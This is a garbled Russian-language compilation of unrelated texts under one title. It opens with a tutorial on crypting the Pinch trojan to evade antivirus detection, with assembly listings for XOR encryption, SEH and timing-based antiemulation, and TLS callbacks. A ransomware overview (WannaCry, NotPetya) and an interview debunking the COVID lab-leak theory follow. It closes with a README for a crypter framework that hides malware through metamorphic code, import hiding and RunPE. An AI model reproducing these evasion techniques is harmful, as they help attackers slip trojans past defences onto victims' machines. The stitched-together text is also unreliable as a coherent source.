Криптованный вирус что это такое

Подготовка к исследованиям

Прячем код

Сначала обратимся к тривиальным и давно известным нам методам сокрытия кода – шифровке секции по константе. В своих статьях я уже не раз обращался к подобному коду. Удивительно, но простой XOR машинных кодов, находящихся в секции кода, позволяет избавиться от внимания аж четверти антивирусных программ! Итак, откроем сгенерированный файл пинча (pinch.exe) в отладчике. Точка входа по умолчанию равна 13147810. По адресу 13147C26 начинается поле сплошных нулей, оставленное компилятором для выравнивания секции. Нам это на руку – здесь мы будем размещать наш код. Итак, взгляни на вид криптора:

13147C30 PUSHAD
13147C31 MOV ECX,6C2F
13147C36 MOV EDX,DWORD PTR DS:[ECX+13141000]
13147C3C XOR EDX,76
13147C3F MOV DWORD PTR DS:[ECX+13141000],EDX
13147C45 LOOPD SHORT pinch_pa.13147C36
13147C47 POPAD
13147C48 JMP SHORT pinch_pa.13147810

13147C4B XOR EAX,EAX; обнуляем регистр
13147C4D PUSH pinch_pa.13147C62; помещение адреса нового обработчика в стек
13147C52 PUSH DWORD PTR FS:[EAX]; помещение адреса старого обработчика в стек
13147C55 MOV DWORD PTR FS:[EAX],ESP; помещение в FS:[0] указателя на структуру
13147C58 CALL pinch_pa.13147C58; генерация исключения путем переполнения стека
13147C5D JMP pinch_pa.13145555; данная инструкция никогда не будет исполнена
13147C62 POP EAX; восстановление регистров
13147C63 POP EAX
13147C64 POP ESP
13147C65 JMP pinch_pa.13147810; переход к выполнению программы

Кратко описать функционал кода можно следующим образом: мы создаем новый обработчик исключений и размещаем его по адресу 13147C62. Эмуляторы кода, которые неспособны должным образом определить логику выполнения программы, полагают, что вслед за бесконечной рекурсией по адресу 13147C58 произойдет передача управления на следующую инструкцию (JMP pinch_pa.13145555), в результате чего направляют дальнейшее исследование логики выполнения кода по неверному пути. На самом же деле, стек переполняется, вызывается исключение, а программа благополучно продолжает свою работу. Действуя таким образом, мы отметаем еще четыре антивируса (только 27 из 43 утилит справились с задачей и распознали вредоносный код).

Итак, мы отправили на прогулку лесом едва ли не половину антивирусов – что же дальше? Теперь мы займемся более изощренными способами антиотладки и простейшей антиэмуляции.

Продолжаем эксперимент

Возможно, многим покажется, что описанного выше уже достаточно, чтобы успешно распространять троянские программы, ведь шансы быть обнаруженными мы сократили вдвое. Это верно, однако мы отсекли лишь самые убогие антивирусы, которые совершенно не отвечают требованиям времени. В ходе экспериментов я выяснил, что и с мощной эмуляцией кода можно справиться, причем достаточно легко!

13147C90 - NEW OEP
length of code 4c

13147c30 - start of code
13147c7c -end of code

13147C90 60 PUSHAD
13147C91 B9 4C000000 MOV ECX,4C
13147C96 8B91 307C1413 MOV EDX,DWORD PTR DS:[ECX+13147C30]
13147C9C 83F2 54 XOR EDX,54
13147C9F 8991 307C1413 MOV DWORD PTR DS:[ECX+13147C30],EDX
13147CA5 ^E2 EF LOOPD SHORT kadabra_.13147C96
13147CA7 61 POPAD
jmp 13147c30

13140000 4D DEC EBP
13140001 5A POP EDX
13140002 0000 ADD BYTE PTR DS:[EAX],AL
13140004 0100 ADD DWORD PTR DS:[EAX],EAX

.
13140028 0000 ADD BYTE PTR DS:[EAX],AL

13140002 EB 24 JMP SHORT 13140028

а байты, расположенные по адресу 13140028, на следующий код:

13140028 -E9 637C0000 JMP 13147c90

Исследования показали, что пинч содержит четыре секции, две из которых – .conf и .data – содержат данные, которые могут быть рассмотрены антивирусами в качестве константы и занесены в сигнатурную базу. Поэтому необходимо зашифровать и их.

Для этого полностью убираем код раскриптовки, заменяя его в OllyDbg на нули, и видим, что наш образец все равно палится как пинч! Делаем вывод, что либо антивирусы методом перебора видят наш код, либо проверяют image base. Пробуем изменить Image base – и, действительно, отметаем еще четыре антивируса.

Lost in Time, или Dr. Web, не считающий время

Представь ситуацию: мы располагаем тысячей программ, каждая из которых использует 15-секундный таймер. Суммарное время задержки выполнения кода составит, что несложно подсчитать, 15000 секунд, или около четырех часов. Таким образом, если антивирусный алгоритм в своей работе по-настоящему эмулирует таймер, анализ тысячи подобных файлов займет у него вышеуказанное время. Конечно, реальная эмуляция таймеров – нонсенс, и многие алгоритмы просто-напросто нужным образом изменяют регистры или стек контекста процесса, если встречают одну из API-функций, выполняющих задержку выполнения программы. Но все ли антивирусы настолько хороши? Проверим на практике.

Для того, чтобы засечь время, используем API-функцию GetLocalTime, которая записывает по указанному в стеке адресу следующую 16-байтную структуру:

typedef struct _SYSTEMTIME <
WORD wYear; // Год
WORD wMonth; // Месяц
WORD wDayOfWeek; // День недели
WORD wDay; // День месяца
WORD wHour; // Часы
WORD wMinute; // Минуты
WORD wSecond; // Секунды
WORD wMilliseconds; // Миллисекунды
> SYSTEMTIME;

13147CFA PUSH kadabra_.13147D7D; записываем в стек первый адрес
13147CFF CALL kernel32.GetLocalTime; получаем первый временной штамп
13147D04 PUSH 3E8; задержка таймера – 1000 миллисекунд, или 1 секунда
13147D09 CALL kernel32.Sleep; запуск таймера
13147D0E PUSH kadabra_.13147D94; записываем в стек второй адрес
13147D13 CALL kernel32.GetLocalTime; получаем второй временной штамп

В результате выполнения получаем две 16-байтных заполненных структуры, каждая из которых записана, начиная с адреса, определенного нами выше:

[год][месяц][день недели][День месяца] [Часы] [Минуты] [Секунды][Миллисекунды]

13147D7D: DA 07 0A 00 02 00 0C 00 0D 00 0C 00 31 00 B1 03

13147D94: DA 07 0A 00 02 00 0C 00 0D 00 0D 00 04 00 B1 03

13147CF9 ;Код получения временных штампов (приведен выше)
13147D18 MOV AL,BYTE PTR DS:[13147D89]; первое значение помещаем в AL
13147D1D MOV AH,BYTE PTR DS:[13147DA0]; второе значение помещаем в AH
13147D23 SUB AH,AL; получаем разность значений
13147D25 XOR EBX,EBX; обнуляем EBX
13147D27 MOV BL,AH; перемещаем разность в EBX
13147D29 ADD EBX,13147C29; вычисляем адрес перехода
13147D2F JMP EBX; переходим по вычисленному адресу

Наверное, ты уже догадался, что адрес, который помещается в EBX, должен быть равен 13147C30. Однако, как показывает практика, не все идеально, особенно если речь идет об эмуляции кода. Благодаря несложным манипуляциям мы получаем великолепный результат: эмуляция Dr. Web разваливается на глазах! :). Вместе с ним отступают и еще два антивиря – это не может не радовать нашу душу. Всего 22 из 43 антивирусов продолжают подозревать нашу программу в чем-то нехорошем.

Последние штрихи

Думаю, что ты читал о TLS (Thread Local Storage)-callback-функциях достаточно (в частности, Крис посвятил TLS отдельную статью, опубликованную в одном из номеров нашего журнала), однако напомню о том, что они собой представляют, опуская описание широчайших возможностей их использования. Callback-функции выполняются непосредственно после инициализации программы загрузчиком, еще до остановки на OEP. Информация обо всех таких функциях содержится в специальной таблице, а адрес таблицы, в свою очередь, извлекается загрузчиком из специального поля PE-заголовка.

Попробуем создать таблицу TLS-функций для нашей программы (к написанию кода callback-функции приступим чуть позже). Структура ее, имеющая размер шестнадцати байт, проста. Первые два двойных слова используются для записи адресов начала и конца выделяемой для потока области данных. В качестве этих значений мы выберем два произвольных адреса (13147d80 и 13147d90), лежащих в пределах области выравнивания секции .text, оставленной компилятором. Оставшиеся два DWORD’а – это, соответственно, поле для записи индекса, возвращаемого callback-функцией (13147d96), и адрес таблицы callback-функций (13147da0).

Так выглядит код получившейся TLS-таблицы: 80 7d 14 13 90 7d 14 13 96 7d 14 13 a0 7d 14 13. Разместим его по адресу 13147d5d при помощи отладчика (запомним адрес – он нам еще понадобится).

Приступим к созданию кода таблицы TLS-функций.

По адресу 13147db0 разместим саму функцию, шифрующую все наши ранее созданные крипторы, а также код по второму кругу:

13147DB0 PUSHAD; сохраняем регистры в стек
13147DB1 MOV ECX,6D2F; устанавливаем счетчик
13147DB6 MOV DH,BYTE PTR DS:[ECX+13141000];помещаем в DH текущий байт секции
13147DBC XOR DH,CL; выполняем логическое сложение с младшим байтом счетчика
13147DBE MOV BYTE PTR DS:[ECX+13141000],DH; помещаем закодированный байт в память
13147DC4 LOOPD SHORT 13147DB6; повторяем цикл
13147DC6 POPAD; восстанавливаем регистры
13147DC7 RETN; возвращаемся из функции

Полагаю, ты помнишь, что после внесения кода в файл необходимо выполнить его, чтобы он закодировал инструкции, после чего следует сохранить измененный файл прямо из-под OllyDbg.

Я намерено не стал доводить нашу криптовку до победного конца. Придумывай новые методы обмана, внедряй в наш образец и таким образом обманывай новые антивирусы. Удачи в благих делах!


О вирусах-вымогателях в криптосообщества активно заговорили в мае 2017 года. В это время вирус WannaCry быстро распространился по компьютерным сетям. Он заражали компьютеры на Windows, шифровал файлы на жестком диске ПК, а затем требовал выкуп в биткоинах за засшифровку.

Это краткий принцип действия шифровальщиков. В этой статье разберемся, что такое WannaCry, как лечить зашифрованные компьютеры и что рассказывает source code вируса.

Читайте в статье

Каналы заражения

Технически, вектор атаки или заражения — это средство, с помощью которого вымогатели получают доступ. Самые популярные:

Феномен WannaCry

Несколько факторов привлекли внимание к WannaCry. В первую очередь из-за того, что он заразил крупнейшие компании. В их числе Британская национальная служба здравоохранения. Вирус-шифровальщик эксплуатировал уязвимость Windows, которая была впервые обнаружена Агентством национальной безопасности США. Symantec и другие исследователи безопасности связывали его с Lazarus Group — организацией, которая занимается киберпреступностью и может быть связана с правительством Северной Кореи.

WannaCry Ransomware состоит из нескольких компонентов. Он попадает на зараженный компьютер в форме дроппера. Это отдельная программа, которая извлекает встроенные в нее компоненты приложения. Эти компоненты включают в себя:

  • приложение, которое шифрует и дешифрует данные,
  • файлы, содержащие ключи шифрования,
  • копию Tor.


Как WannaCry выбирает компьютеры?

Вектор атаки для WannaCry более интересен, чем сам шифровальщик. Уязвимость, которую использует WannaCry, заключается в реализации Windows протокола SMB. Он помогает различным узлам сети взаимодействовать, а реализацию Microsoft можно обмануть специально созданными пакетами для выполнения любого кода.

Считается, что Агентство национальной безопасности США обнаружило эту уязвимость уже давно. Вместо того, чтобы сообщить общественности, оно разработало код под названием EternalBlue. Этот эксплойт, в свою очередь, был похищен группой хакеров. Shadow Brokers, название этой группы, создали пост 8 апреля 2017 на Medium (это сообщение полно политики, в нем заявлена позиция этой группы. Мы не будем переводить текст, там есть и отрывок про отношение к России, так как опасаемся, что это будет звучать экстремистски).

В Microsoft обнаружили уязвимость за месяц до этого и выпустили патч. Тем не менее это не помешало WannaCry, который опирался на EternalBlue, быстро распространиться по устройствам. После этого Microsoft обвинила правительство США, что оно не поделилось информацией об этой уязвимости раньше.

Хатчинс не только обнаружил жестко запрограммированный URL-адрес, но и заплатил 10,96 долларов и открыл там сайт. Это помогло замедлить распространение вредоносного ПО. Вскоре после того, как его признали героем, Хатчинс был арестован за то, что предположительно разрабатывал вирусы в 2014 году.

Symantec считают, что код вируса может иметь северокорейское происхождение. WannaCry бродил по сети в течение нескольких месяцев, прежде чем началась эпидемия. Это более ранняя версия вредоносного ПО, получившая название Ransom.Wannacry. Она использовала украденные учетные данные для запуска целевых атак. Использованные методы похожи на Lazarus Group.

Lazarus Group является хакерской группировкой, которая связана с Северной Кореей. В 2009 году они проводили DDoS-атаки на правительственные компьютеры Южной Кореи, затем атаковали Sony и банки.

Но так как исходный код вируса был открыт, нельзя точно приписать атаку кому-либо.

WannaCry source code

Немного технических деталей.

Имя вируса: WannaCrypt, WannaCry, WanaCrypt0r, WCrypt, WCRY

Вектор: Все версии Windows до Windows 10 уязвимы, если не исправлены для MS-17-010.

Выкуп: от 300 до 600 долларов. В вирусе есть код для удаления файлов.

Backdooring: червь проходит через каждый сеанс RDP в системе, чтобы запустить вымогателя от имени этого пользователя. Он также устанавливает бэкдор DOUBLEPULSAR. Это делает восстановление труднее.

Каждое заражение генерирует новую пару ключей RSA-2048:

  • Открытый ключ экспортируется как BLOB-объект и сохраняется в 00000000.pky.
  • Закрытый ключ шифруется с помощью открытого ключа вымогателя и сохраняется как 00000000.eky

Каждый файл зашифрован с AES-128-CBC, с уникальным ключом AES на файл. Каждый ключ AES генерируется CryptGenRandom.

Ключ AES зашифрован с использованием пары ключей RSA, уникальной для каждого. Открытый ключ RSA, используемый для шифрования приватного ключа, встроен в DLL и принадлежит авторам вируса.

Три адреса для выкупа жестко запрограммированы в программе:

Как лечить WannaCry — патч

По иронии судьбы, патч, который защищает от WannaCry, был уже доступен до начала атаки. Microsoft в обновлении MS17-010, что вышло 14 марта 2017 года, исправил реализацию протокола SMB для Windows. Несмотря на критическое обновление, многие системы все еще не обновились до мая 2017 года. Больше повезло Windows 10, так как функция автоматического обновления сработала. То есть решение, как защититься от вируса-шифровальщика, уже было, но халатность на местах заставила компании поплатиться.

Для тех систем не было дешифровщика и выхода, кроме восстановления файлов из безопасной резервной копии. Хотя те, кто следит за кошельками биткоина, что указаны в сообщении от вируса, говорят, что некоторые платят выкуп. При этом мало доказательств того, что они вновь получили доступ к файлам.

Эта атака заставила Microsoft выпустить патч даже для XP, что поддержка прекращена. Большинство заражений было на Windows 7.

Другие вирусы-вымогатели

Несмотря на всю гласность WannaCry все еще заражает системы. В марте 2018 года Boeing был поражен WannaCry. Однако компания заявила, что это был небольшой ущерб.

Большую опасность сегодня представляют варианты WannaCry или, точнее, новые вредоносные программы, основанные на том же коде EternalBlue. В мае 2018 года ESET выпустила исследование: количество обнаружений вредоносного ПО на основе EternalBlue превысило свой максимальный уровень в 2017 году.

Например, известен апгрейд вируса Petya и NotPetya. Это две связанные вредоносные программы, которые затронули тысячи компьютеров в 2016 и 2017 годах. Как Petya, так и NotPetya стремятся зашифровать жесткий диск. Между ними много общих черт, но у NotPetya есть больше потенциальных инструментов, которые помогают распространять и заражать компьютеры.

Вирус Petya — это стандартный вымогатель, целью которой является получение небольшого количества BTC от жертв.

NotPetya считается некоторыми кибератакой, которая спонсируется Россией и маскируется под вирус.

После перезагрузки компьютер зашифрован.


Точнее, он не зашифрован. Вместо того, чтобы искать файлы и шифровать их, вирус устанавливает собственный загрузчик. Он перезаписывает основную загрузочную запись уязвимой системы, а затем шифрует таблицу файлов, которая является частью файловой системы. По сути, файлы не зашифрованы, но компьютер не может получить доступ к той части файловой системы, которая сообщает их местонахождение.

Почему Петя получил такое имя?

Название происходит из фильма о Джеймсе Бонде 1995 года GoldenEye. Аккаунт в Твиттере, который подозревали в принадлежности к вредоносному ПО, использовал на аве изображение Алана Камминга, сыгравшего злодея.


История NotPetya

Через пару месяцев после того, как Петя распространился, появилась новая версия, под названием Mischa. Миша включается, если пользователь отказывает Пете в доступе на уровне администратора.

В июне 2017 года все кардинально изменилось. Новая версия вредоносного ПО начала быстро распространяться, причем зараженные сайты были в основном украинскими. Также он появился в Европе. Новый вариант быстро распространился от сети к сети, без спам-писем или социальной инженерии. Kaspersky Lap переименовал эту программу в NotPetya.

NotPetya распространяется самостоятельно. Он использует несколько способов:

  • через блэкдор в M.E.Doc (ПО для бухгалтерского учета, популярное на Украине).
  • С этих серверов вирус ушел на другие компьютеры, используя EternalBlue и EternalRomance.
  • Он также может воспользоваться инструментом Mimi Katz, чтобы найти учетные данные сетевого администрирования. Затем он включает встроенные в Windows инструменты PsExec и WMIC для удаленного доступа к локальной сети и заражает другие компьютеры.

NotPetya шифрует все. При этом он не расшифровывает данные. Если шифровальщики используют идентификатор на экране, который жертва отправляет вместе с выкупом. Тогда можно понять, кто именно заплатил. Но NotPetya генерирует случайное число. В процессе шифрования он повреждает их без возможности восстановления.

Из-за того, что вирус более совершенный, его подозревали в причастности к большим ресурсам, типа к госразведке. Плюс, из-за нападения на на Украину в 2017 году под подозрение попала Россия. Это обвинение огласило украинское правительство. Многие западные страны, в том числе США и Великобритания, поддержали ее. Россия отрицает свою причастность, указывая, что NotPetya заразил и многие российские компьютеры.

Еще о знаменитых вирусах-вымогателях

SecureList от Kaspersky сообщает, что с апреля 2014 года по март 2015 года наиболее известными были CryptoWall, Cryakl, Scatter, Mor, CTB-Locker, TorrentLocker, Fury, Lortok, Aura и Shade. Им удалось атаковать 101 568 пользователей по всему миру, что составляет 77,48% всех пользователей, подвергшихся криптовымогательству за этот период.


CryptoLocker был одним из самых прибыльных видов вымогателей своего времени. В период с сентября по декабрь 2013 года он заразил более 250 000 систем. Он заработал более 3 миллионов долларов до того, как его ботнет Gameover ZeuS отключили. Это случилось в 2014 году в рамках международной операции.

Впоследствии создали инструмент для восстановления зашифрованных файлов, скомпрометированных CryptoLocker. Но на смену пришли его клоны — CryptoWall и TorrentLocker.

В мае 2016 года исследователи Лаборатории Касперского заявили, что в первом квартале этого года в тройку вымогателей входили: Teslacrypt (58,4 процента), CTB-Locker (23,5 процента) и Cryptowall (3,4 процента).

Один из первых вариантов вымогателей для Apple OS X также появился в 2016 году. KeRanger воздействовал на пользователей, использующих приложение Transmission, но за полтора дня затронул около 6500 компьютеров.

Согласно отчетам с начала 2017 года, шифровальщики принесли кибер-преступникам один миллиард долларов США.

Новый отчет Национального агентства по борьбе с преступностью предупреждает о развитии угроз, таких как мобильные вымогатели и IoT. Лучшие практики защиты от шифровальщиков — регулярное резервное копирование и обновление программного обеспечения. Но они не применяются к большинству IoT-устройств. Это делает их более привлекательными для хакеров.

Также под угрозой различные службы со старым ПО, типа коммунальщиков. Это может быть огромной проблемой, если хакеры захотят заработать на нашей безвыходности.

Конспирологическими версиями коронавирус начал обрастать с первых дней своего появления на свет. Covid-19 заявил о себе в Ухани, а там как раз располагается Уханьский институт вирусологии, где в 2015 году была оборудована первая в материковом Китае лаборатория четвертого - самого высокого уровня биобезопасности (BSL-4). Пазл, как говориться, сложился. Поначалу конспирологи заботливо взращивали версию о том, что коронавирус избирательно поражает представителей монголоидной расы (непонятно зачем нужно было выводить такой вирус китайским вирусологам), но теперь мы на примере России и других стран знаем, что это неправда. Другая популярная теория утверждала, что Covid-19 это бактериологическое оружие. Но затем энтузиасты к этой версии охладели: кому нужно оружие, которое практически безопасно для молодых людей призывного возраста, а угрожает представителям возрастной категории 65+?

Сторонники теории заговора сосредоточились на версии о том, что SARS-CoV-2 (это название вируса, а Civid19 - болезнь, которую вирус вызывает) случайно “сбежал” из лаборатории во время научных экспериментов. Тем более, что вскоре конспирологи получили возможность опереться на научную основу.

В 2015 году в журнале Nature Medicine вышла статья об успешном эксперименте по созданию искусственного коронавируса, который способен поражать легкие человека и практически не лечится. В исследовании участвовали специалисты Университета Северной Каролины ( США ), Института микробиологии Цюриха ( Швейцария ) и Уханьского института вирусологии (Китай). Сторонники теории заговора восприняли эту публикацию, как камин-аут: ученые сами признались, что сконструировали вирус-химеру, который четыре года спустя вырвался на свободу и терроризирует все человечество!

Искусственный вирус генетически далек от коронавируса, который нас заражает

Подробный разбор этой гипотезы на своей странице в “Фейсбуке” и YouTube-канале провел известный популяризатор научного знания, кандидат биологических наук, старший научный сотрудник сектора молекулярной эволюции Института проблем передачи информации РАН Александр Панчин. К нему мы и обратились за комментарием.

- Коронавирус SARS-CoV-2, который вызвал сегодняшнюю пандемию, не может быть “сбежавшим” из Уханьской лаборатории искусственным вирусом сконструированным в 2015 году, - объясняет Александр Панчин. - Это легко доказать, сравнив геномы того и другого вируса. В статье 2015 года подробно описывается, как ученые делали свой вирус. В качестве основы исследователи взяли штамм SARS-CoV MA15 (в природе существует множество разновидностей коронавируса - Ред) и внесли туда ген, который кодирует шиповидный белок другого коронавируса летучей мыши - SHC014-Cov. Шиповидный белок помогает вирусу проникать внутрь клетки, из-за этих шипов - короны, коронавирусы и получили свое название. Получившийся гибрид назвали SHC014-MA15. Если конспирологическая теория верна, то последовательность аминокислот белков искусственного вируса SHC014-MA15 должна совпадать с SARS-CoV-2, который сейчас всех заражает. Но этого не происходит. Я проводил сравнение с помощью компьютерной программы BLAST.

- Что это такое?

- Эта программа чем-то напоминает всем хорошо знакомый контекстный поиск офисной программы Word - ищет совпадения и различия в “буквах” (только в геноме буквами обозначается последовательность аминокислот или нуклеотидов - Ред). Так вот шиповидный белок искусственного вируса, имеет лишь 77.31% сходства с SARS-CoV-2. Это очень большое расхождение. Если мы посмотрим на другие белки - например полипроеин 1аb, то увидим такие же большие различия. Для сравнения разные вариации SARS-CoV-2 имеют между собой сходства от 97.8 до 100%. Что это значит? Это значит, что искусственный вирус эволюционно очень далек от коронавируса, который вызвал пандемию.


Кандидат биологических наук, старший научный сотрудник сектора молекулярной эволюции Института проблем передачи информации РАН Александр Панчин

Какая мутация сделала его таким опасным?

- Но ведь могли быть и другие версии искусственно созданных вирусов, статьи о которых не публиковались. И в качестве деталей конструктора могли использовать вирусы-исходники, которые не так радикально отличались. Существуют ли признаки, по которым точно можно отличить искусственно сконструированный вирус (даже если он более тщательно “склеен”) от мутировавшего естественным путем?

- Cамый близкий родственник SARS-CoV-2 это штамм коронавируса летучих мышей RaTG13 - его шиповидный белок дает 97.41% сходства, а полипротеин 1ab - 98.53% сходства. Он был открыт в 2013 году, сам людей не заражал, и в 2015 году для создания искусственного вируса не использовался. Если мы сравним геном нового человеческого SARS-COV-2 с геномом коронавируса мыши RaTG13 с то опять же не увидим никаких признаков чужеродных вставок. При этом геном SARS-COV-2 все же отличается по всей своей длинне от геномов всех остальных известных коронавирусов, так что пока нет даже кандидата на "исходник", с которым работали бы гипотетические генные инженеры. Мы видим у SARS-CoV-2 признаки эволюции, а не дизайна.

- Какая мутация сделала коронавирус таким опасным?

- Мы не знаем точно, какая именно мутация сделала коронавирус таким заразным для людей. Упомянутый выше коронавирус RaTG13 людей не заражает, промежуточные варианты пока не найдены. Были работы про изучение мутаций в участке, который кодирует шиповидный белок, использующийся вирусом для проникновения в клетки. Вероятно, эти мутации сыграли свою роль, но не факт, что ими все ограничивается.

Зачем нужны вирусы-химеры

- А зачем ученые создавали искусственный вирус? Это выглядит как-то подозрительно…

- Идея таких экспериментов вполне понятна: мы хотим заранее знать какие эпидемии могут нам угрожать и какие меры можно принять? Пытаемся понять, как вирусы могут мутировать? Учимся заранее придумывать лекарства, чтобы их создание занимало не 10 лет, как это обычно бывает в практике клинических исследований новых препаратов, а хотя бы год или полгода. Как раз тут нет ничего подозрительного.

- В зарубежных СМИ приводят косвенные доказательства того, что вирус мог “сбежать” из Уханьской лаборатории: в ноябре 2019 года в самом начале вспышки институт открыл вакансии для вирусологов для работы с коронавирусом летучих мышей. Называют имя пропавшей аспирантки лаборатории, которая гипотетически могла быть тем самым “нулевым” пациентом, который вынес вирус наружу…

- То, что в Уханьском институте были специалисты, которые работали с коронавирусами из летучих мышей, никогда не скрывалось, это общеизвестный факт. Коронавирусы уже перескакивали от летучих мышей к людям, как было в случае атипичной пневмонии. Та же статья в Nature Medicine 2015 года была ровно про то, что такое перескакивание может случиться снова. Поэтому странно приводить это, как довод в пользу конспирологической теории. Заявление о том, что кому-то известен нулевой пациент вызывает у меня большие сомнения. Такое очень сложно выяснить. Я бы даже сказал, что абсолютно не решен вопрос о том, действительно ли все началось именно в Ухане ? Мы даже не знаем напрямую ли люди получили коронавирус от летучих мышей или с переходом от каких-то других млекопитающих (как вариант рассматривают панголинов). Потребуется немало времени, чтобы выяснить, как именно произошло первое заражение. Выстраивать на этой почве какие-то теории просто абсурдно.

ЧИТАЙТЕ ТАКЖЕ

Ученый объяснил, почему коронавирусом придется переболеть большинству жителей планеты

GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together.

Use Git or checkout with SVN using the web URL.

Want to be notified of new releases in XShar/Run_pe_cryptor_frame ?

If nothing happens, download GitHub Desktop and try again.

If nothing happens, download GitHub Desktop and try again.

If nothing happens, download Xcode and try again.

Latest commit

Files

Permalink

Фреймворк криптора/протектора с антиэмуляцией

Что это за проект и зачем он нужен ?

На самом деле много людей интересуется протекторами и вирусными технологиями. Кто-то хочет заработать, кто-то хочет повысить скилл в кодинге, кому-то просто это нравится и считается, что это своего вроде исскуство.)

Тем не менее, с момента основания ресурса ru-sfera.org, люди пишут мне с вопросами, хорошо-бы если был-бы какой-то проект, так-сказать каркас, что-то взять за основу. Да, есть готовые проекты, но они либо устарели, либо имеют слишком сложную структуру, либо имеют существенные недостатки, об этом ниже.

Так-как неизвестно-кто будет этим проектом пользоваться и кто прочитает эту статью, начнем с небольшего ликбеза.)

Что-же такое крипторы, их будущее и зачем они нужны ?

Очень нравится, что про это дело говорил Вазонез (До ухода в реал):

Криптор (aka cryptor) — это тулза, которая предназначена для скрытия троянов, ботов и прочей нечисти от детектирования антивирусами.

Крипторы можно разделить на 2 вида: хорошие и дерьмовые:

Хорошие крипторы работают очень просто, быстро и надёжно, хоть и не безглючно. Они дописывают свой код (в контексте таких крипторов этот код называется стабом) в криптуемую программу и шифруют код самой программы.

При запуске первым стартует стаб, он восстанавливает оригинальный код и программа начинает работать. Если криптор свежий (или просто хороший, об этом ниже), то закриптованная программа не будет детектироваться антивирусами.

Чаще всего такие крипторы полиморфны — т.е. код криптора в криптуемой программе каждый раз уникален, заполнен случайными инструкциями и бессмысленными вызовами функций API. Такие крипторы достаточно долго остаются недетектируемыми в силу уникальности каждого закриптованного файла.

Но, как говорится, на каждую хитрую жопу найдется х** с винтом — такие крипторы тоже со временем детектируются, и если автор не чистит свой продукт, то криптор перестает быть уникальным и посылается нах**.

Другим же типом крипторов являются стабовые крипторы. Вообще только дебил будет называть это криптором, но в силу еб*** и многочисленности авторов таких творений, мы не будем отрываться от стаи.

Итак, быдлокрипторы. Суть их работы вот в чем — есть стаб. Стаб в этом случае — это отдельная программа, к которой цепляется криптуемый файл. При запуске файл извлекается, расшифровывается и запускается.

Думаю с этим всё понятно, каково-же будущее крипторов ?

Антивирусы эволюционируют, появились новые технологие защиты (А именно детекты по поведению, детекты по репутации и т.д.), в частноти против крипторов появилась технология сканирования процессов, если вкратце, то антивирус либо сразу перед созданием процесса, либо через какое-то время сканирует процесс.

Тем самым понятно, даже если обойти эмулятор антивируса и сигнатурный детект, мы попадем под детект процесса.

Что делать ?

Менять технологию скрытия детекта, вот следующие решения:

Шифровать и скрывать критичные функции в коде (Например шеллы и т.д.), после расшифровки и запуска такой функции, если использовать антиэмуляцию, антивирус ничего сделать несможет.)

Морфить код, если вкратце, это самомодификация кода на лету (Данный метод реализован в этом крипторе).

3.Первые два способа, это если у вас есть исходник, что-же делать если исходника нет. Неужели крипторы умерли ?

Честно я так и думал, до недавнего времени, но это несовсем так:

Во первых если у вас есть даже зверек без детекта, его неплохо-бы скрыть от реверсера, к тому-же почти все детектится сейчас автоматикой, в таком случае в большинстве случаев робот задетектит сам криптор, по хешу, или не по хешу, но чем сложнее будет реверсеру, тем больше вероятность, что сам троянчик будет дольше жить.

Во вторых не все антивирусы детектят код в памяти, например виндовый дефендер как-то криво с этим работает.

Некоторые антивирусы дают запустить процесс на пару секунд, а этого и может хватит кстати.)))

С лекбезом закончили, на форуме есть темы для глубокого изучения вопроса:

Теперь про конкретный проект, что он делает:

Думал я что-бы такое сделать, просто стабовые крипторы, как описано выше смысла делать нет, через какое-то время будет детект стаба и смысл ?

Поэтому решил я сделать проект, где-бы сам криптованный зверек размещался-бы в дата-секции, т.е. есть программа (я назвал её shell_gen), которая из бинарного файла, делает пошифрованный массив байт и в общем-то больше ничего не делает.)

Далее уже второй проект (Сам криптор), работает с этим массивом данных, т.е. расшифровывает этот массив, делает антиэмуляцию, запускает.

Для достижения метаморфизма, shell_gen генерирует заголовочный файл, со следующими дефайнами:

#define START_MORPH_CODE 5

#define END_MORPH_CODE 14

На основе этих значений при сборки, генерируется "мусорный код" (Математичесие операции и т.д.), который будет случайным, после каждого вызова shell_gen и сборки.

Тем самым код будет разный, как по коду, так и по данным.

Сам криптор (x86_pe_cryptor) имеет модульную структуру:

1)modules/lazy_importer/

Модуль скрытия API из таблицы импорта. Пример использования:

auto base = reinterpret_caststd::uintptr_t(LI_FIND(LoadLibraryA)(kernel32));

LI_GET(base, VirtualFree)(pFile, 0, MEM_RELEASE);

2)modules/murmurhash/

Реализация вычисления хеша murmurhash на ассемблере (FASM, приложен к проекту).

3)modules/trash_gen_module/

Реализация модуля, для генерация случайных инструкций, генерации случаных API винды и получение случайного числа на ассемблере (FASM, приложен к проекту), более подробное описание здесь:https://github.com/XShar/simple_trashe_gen_module

4)modules/xtea/

Реализация алгоритма шифрование xtea на ассемблере (FASM, приложен к проекту).

5)modules/run_pe/

Реализация функции запуска, расшифрованного массива PE-файла в памяти, путем создания процесса.

6)modules/antiemul/

7)modules/metamorph_code/

Функции метаморфинга. Смысл, что при сборки, генерируются функции в случайном порядке, функции берутся в modules/metamorph_code/morph.cpp.

8)modules/simple_mutate_pe/

Функции мутации PE перед запуском.

Характеристики получившегося криптора:

1)Отстутствуют "опасные API" в таблице импорта (Такие-как CreateProcess и т.д.).

2)Имеет антиэмуляцию, направленную на привышение лимитов эмулятора антивирусов:

Выделение памяти 32 мегабайт, копирование туда нашего зверька, потом подсчет хеша этого куска памяти, шифровка/расшифровка этого куска памяти, в качестве ключа наш хеш.Эта-же память используется для размещения запуска зверька.

Получение ключа для расшифровки, следующим образом:

Генерируется массив случаных чисел от 0 до 9, далее генерируется хеш этих чисел, хеш генерируется на основе числа, сгенерированного при создании зашифрованного массива защищаемого файла. Далее сортируется массив от 0 до 9, т.е. в итоге у нас получается хеши от числел 0-9. Отсортированные по порядку, это и будет ключ. В момент генерации ключа, также в случайном порядке генерируется мусор из случайных инструкций и вызовов API.

  • Все строки зашифрованы, перед расшифровкой строк,происходит задержка 1 секунду, далее по меткам времени происходит вычисление, действительно-ли была задержка секунду. Если да, то на основе этого вычисляется размер ключа:size_key = (mesure2.wSecond - mesure1.wSecond) + 3. Если sleep был пропущен, то размер ключа будет неверный и расшифровка будет неправильна.

3)При сборки, в main и в модулях:modules/run_pe/, modules/trash_gen_module/ генерируются функции в случайном порядке, функции берутся в modules/metamorph_code/morph.cpp (На данный момент там функции арифметических операций). Тем самым достигается полиморфность не только данных, но и кода каждого образца.)))

4)Перед запуском происходит мутация запускаемого PE, что позволяет обойти детект в памяти у некоторых антивирусов.

Как работать с криптором:

Есть два проекта в Visual Studio 2017 или более новой:

